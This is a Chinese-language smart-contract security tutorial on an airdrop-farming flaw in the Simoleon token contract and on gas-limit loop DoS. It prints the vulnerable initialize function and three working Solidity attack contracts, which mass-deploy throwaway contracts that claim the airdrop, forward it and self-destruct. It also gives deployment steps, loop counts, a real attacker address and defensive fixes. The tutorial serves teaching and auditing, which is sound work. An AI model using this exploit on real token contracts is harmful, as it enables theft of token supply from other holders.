区块链安全教学：循环DoS攻击与薅羊毛漏洞分析

一、以太坊Gas机制与安全背景

以太坊引入了Gas机制来防止恶意节点滥用区块资源和Dos攻击，但合约编写不当仍会导致安全漏洞。本教学重点分析循环DoS攻击和薅羊毛漏洞。

Gas机制关键点：

• 每笔交易消耗Gas，消耗量取决于交易复杂度
• 循环次数过多会导致Gas消耗超过区块限制
• 交易失败但已消耗的Gas不会返还

二、Simoleon合约漏洞分析

合约基本信息

• 合约地址：0x86c8bf8532aa2601151c9dbbf4e4c4804e042571
• 代币名称：Simoleon (SIM)
• 小数位数：2
• 空投金额：1,000,000 wei
• 总供应量上限：空投金额 × 10,000

关键合约结构

contract Simoleon is ERC20Interface {
    // 变量定义
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;
    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;
    
    mapping(address => uint256) balances;
    mapping(address => bool) initialized;
    mapping(address => mapping (address => uint256)) allowed;
    
    // 构造函数
    function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }
    
    // 其他函数...
}

漏洞核心：初始化函数

function initialize(address _address) internal returns (bool success) {
    if (_totalSupply < _cutoff && !initialized[_address]) {
        initialized[_address] = true;
        balances[_address] = _airdropAmount;
        _totalSupply += _airdropAmount;
    }
    return true;
}

漏洞点分析：

1. 无条件空投：任何新地址首次交互都会获得空投
2. 无防刷机制：可以无限创建新地址获取空投
3. 转账函数自动初始化：转账时会自动初始化接收方地址

三、攻击原理与实现

薅羊毛攻击流程

1. 创建主收款合约
2. 批量创建临时合约
3. 每个临时合约：
   • 自动获得空投
   • 将空投金额转至主收款合约
   • 自毁临时合约
4. 重复此过程直到达到Gas上限

攻击合约示例

1. 主收款合约

contract attacker{
    address addr = 0x692...; // Simoleon合约地址
    Simoleon target = Simoleon(addr);
    
    function viewBalance() public constant returns(uint256){
        return target.balanceOf(this);
    }
}

2. 临时攻击合约

contract attack{
    address target = 0x692...; // Simoleon合约地址
    
    function attack() {
        // 调用transfer函数将空投转至主合约
        target.call(bytes4(keccak256("transfer(address,uint256)")),
                   0xfc7..., // 主合约地址
                   1000000); // 空投金额
        selfdestruct(this);
    }
}

3. 批量创建合约

contract bulid{
    function deploy() public returns(bool){
        for(int i=0;i<=50;i++){ // 循环次数根据Gas限制调整
            new attack();
        }
    }
}

攻击效果

• 循环50次：成功获取50×1,000,000 wei
• 循环80次：可能因超出Gas限制而失败
• 实际攻击案例中，攻击者获得了7,110,000 SIM代币

四、防御措施

1. 限制空投条件：

   • 要求账户有最低余额
   • 加入验证机制（如工作量证明）

2. 防止批量创建：

   • 限制每个区块/交易的空投数量
   • 加入时间锁或冷却期

3. 合约设计优化：

   // 改进的初始化函数示例
   function initialize(address _address) internal returns (bool) {
       require(_totalSupply + _airdropAmount <= _cutoff, "Total supply exceeded");
       require(!initialized[_address], "Already initialized");
       require(balances[msg.sender] > 0, "Sender must have balance");
   
       initialized[_address] = true;
       balances[_address] = _airdropAmount;
       _totalSupply += _airdropAmount;
       return true;
   }
   

4. Gas限制考虑：

   • 避免在合约中使用大循环
   • 复杂操作拆分为多个交易

五、相关案例与研究

1. LCTF题目案例：https://paper.seebug.org/747/

   • 类似的循环DoS攻击场景
   • 合约交互中的Gas优化问题

2. 实际攻击交易分析：

   • 攻击者地址：0xf2da5add7c6f8a47997efa04049ee7888542744b
   • 通过多个临时合约转移资金

六、实验与复现

实验环境设置

1. 使用Remix IDE或本地测试链
2. Solidity版本：0.4.8
3. 部署顺序：
   • 部署Simoleon合约
   • 部署attacker主收款合约
   • 部署bulid批量创建合约

测试参数建议

• 初始测试：循环5次
• 中等测试：循环25-50次
• 极限测试：循环80次（预期失败）

七、总结与思考

1. 安全开发原则：

   • 所有外部输入都不可信
   • 状态变更需严格验证
   • 考虑最坏情况下的Gas消耗

2. 审计要点：

   • 检查所有可能导致无限铸造的逻辑
   • 验证所有循环的边界条件
   • 分析合约交互的Gas消耗模式

3. 进阶研究方向：

   • Gas优化与攻击的平衡
   • 更复杂的防刷机制设计
   • 合约升级模式下的漏洞防护

附录：完整合约代码

参见原文提供的Etherscan链接和实验代码，建议在实际测试环境中逐步部署验证。

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